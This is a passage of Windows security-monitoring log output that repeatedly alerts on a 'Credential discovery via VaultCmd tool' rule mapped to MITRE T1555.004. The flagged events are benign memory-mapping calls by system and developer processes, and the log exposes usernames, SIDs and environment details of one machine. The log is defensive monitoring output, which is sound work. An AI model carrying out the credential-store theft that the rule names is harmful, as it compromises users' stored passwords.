pid➜ 5184, protection➜ READONLY, section_type➜ DATA, view_base➜ 1dce7fc0000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, technique.name: Credentials from Password Stores, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 5184 + Ppid: 760 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25090.3009-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25090.3009-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25090.3009-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:31:01+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 2644655 + Pid: 16212 + Tid: 4868 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:30:38.7249279 +0100 CET + Params: file_key➜ ffff808cc87f74f0, offset➜ 0, pid➜ 16212, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 1ae2de20000, view_size➜ 8192 + Metadata: subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, tactic.id: TA0006, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 16212 + Ppid: 1168 + Name: backgroundTaskHost.exe + Parent name: svchost.exe + Cmdline: "C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXe9cvj1thv1hmcw0cs98xm3r97tyzy2xs.mca + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\backgroundTaskHost.exe + Cwd: C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.11.0_x64__8wekyb3d8bbwe\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: LOW + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXe9cvj1thv1hmcw0cs98xm3r97tyzy2xs.mca] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local\Packages\microsoft.windowsstore_8wekyb3d8bbwe\AC LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Packages\microsoft.windowsstore_8wekyb3d8bbwe\AC\Temp TMP:C:\Users\nedo\AppData\Local\Packages\microsoft.windowsstore_8wekyb3d8bbwe\AC\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:31:55+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 2879224 + Pid: 10752 + Tid: 1664 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:31:14.7718579 +0100 CET + Params: file_key➜ ffff808cbe365000, offset➜ 0, pid➜ 10752, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1143ff90000, view_size➜ 2097152 + Metadata: technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, tactic.name: Credential Access + + Pid: 10752 + Ppid: 1168 + Name: WmiPrvSE.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\wbem\wmiprvse.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:31:55+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 2879227 + Pid: 10752 + Tid: 1664 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:31:14.7718937 +0100 CET + Params: file_key➜ ffff808cbe366000, offset➜ 0, pid➜ 10752, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1143f8f0000, view_size➜ 32768 + Metadata: subtechnique.name: Windows Credential Manager, tactic.id: TA0006, tactic.name: Credential Access, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 10752 + Ppid: 1168 + Name: WmiPrvSE.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\wbem\wmiprvse.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:32:13+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 2974747 + Pid: 944 + Tid: 20704 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:31:40.015031 +0100 CET + Params: file_key➜ ffff808cc87f78e0, offset➜ 0, pid➜ 944, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 21bfc8d0000, view_size➜ 65536 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, technique.name: Credentials from Password Stores + + Pid: 944 + Ppid: 936 + Name: csrss.exe + Cmdline: %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 + Exe: C:\WINDOWS\system32\csrss.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:34:02+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3234592 + Pid: 18556 + Tid: 12992 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:33:43.6656568 +0100 CET + Params: file_key➜ ffff808ce222b930, offset➜ 0, pid➜ 18556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 90000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access + + Pid: 18556 + Ppid: 14096 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1684,i,5970045747267208523,10574949385857880792,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:34:02+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3257115 + Pid: 20640 + Tid: 10908 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:33:44.5372533 +0100 CET + Params: file_key➜ ffff808cc0421a60, file_path➜ C:\Windows\System32\C_1252.NLS, offset➜ 0, pid➜ 20640, protection➜ READONLY, section_type➜ DATA, type➜ File, view_base➜ 7c0000, view_size➜ 69632 + Metadata: technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 20640 + Ppid: 5884 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe show --textconv :pkg/event/event_windows.go + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" show --textconv :pkg/event/event_windows.go + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe show --textconv :pkg/event/event_windows.go] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:34:02+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3240403 + Pid: 13968 + Tid: 11992 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:33:43.7986081 +0100 CET + Params: file_key➜ ffff808cbe373000, offset➜ 0, pid➜ 13968, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 12b0000, view_size➜ 32768 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, tactic.name: Credential Access, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004 + + Pid: 13968 + Ppid: 20432 + Name: git.exe + Parent name: go.exe + Cmdline: git status --porcelain + Parent cmdline: go list -e -json=Name,ImportPath,Error,Dir,GoFiles,IgnoredGoFiles,IgnoredOtherFiles,CFiles,CgoFiles,CXXFiles,MFiles,HFiles,FFiles,SFiles,SwigFiles,SwigCXXFiles,SysoFiles,TestGoFiles,XTestGoFiles,CompiledGoFiles,Export,DepOnly,Imports,ImportMap,TestImports,XTestImports,Module -compiled=true -test=true -export=true -deps=true -find=false -pgo=off -- + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git status --porcelain] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:35:33+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3617490 + Pid: 992 + Tid: 18160 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:35:14.1894386 +0100 CET + Params: file_key➜ ffff808cc87f7460, offset➜ 0, pid➜ 992, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 17e55ad0000, view_size➜ 8192 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, tactic.name: Credential Access, subtechnique.id: T1555.004 + + Pid: 992 + Ppid: 968 + Name: lsass.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\lsass.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\lsass.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\lsass.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\WINDOWS\System32 ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:35:34+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3617639 + Pid: 992 + Tid: 18160 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:35:14.2073154 +0100 CET + Params: file_key➜ ffff808cc87f7460, offset➜ 0, pid➜ 992, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 17e55ad0000, view_size➜ 8192 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.name: Credentials from Password Stores, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, subtechnique.id: T1555.004 + + Pid: 992 + Ppid: 968 + Name: lsass.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\lsass.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\lsass.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\lsass.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\WINDOWS\System32 ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:35:34+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3617639 + Pid: 992 + Tid: 18160 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:35:14.2073154 +0100 CET + Params: file_key➜ ffff808cc87f7460, offset➜ 0, pid➜ 992, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 17e55ad0000, view_size➜ 8192 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.name: Credentials from Password Stores, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, subtechnique.id: T1555.004 + + Pid: 992 + Ppid: 968 + Name: lsass.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\lsass.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\lsass.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\lsass.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel 